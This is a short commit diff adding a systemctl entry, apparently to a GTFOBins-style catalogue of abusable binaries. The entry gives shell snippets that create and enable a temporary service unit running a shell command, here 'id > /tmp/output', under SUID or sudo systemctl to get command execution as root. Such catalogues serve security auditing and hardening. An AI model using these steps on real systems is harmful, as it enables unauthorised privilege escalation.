Add systemctl
parent
0109792b7e
commit
a2886b643d
|
@ -0,0 +1,23 @@
|
|||
---
|
||||
functions:
|
||||
suid:
|
||||
- code: |
|
||||
TF=$(mktemp).service
|
||||
echo '[Service]
|
||||
Type=oneshot
|
||||
ExecStart=/bin/sh -c "id > /tmp/output"
|
||||
[Install]
|
||||
WantedBy=multi-user.target' > $TF
|
||||
./systemctl link $TF
|
||||
./systemctl enable --now $TF
|
||||
sudo:
|
||||
- code: |
|
||||
TF=$(mktemp).service
|
||||
echo '[Service]
|
||||
Type=oneshot
|
||||
ExecStart=/bin/sh -c "id > /tmp/output"
|
||||
[Install]
|
||||
WantedBy=multi-user.target' > $TF
|
||||
sudo systemctl link $TF
|
||||
sudo systemctl enable --now $TF
|
||||
---
|
Loading…
Reference in New Issue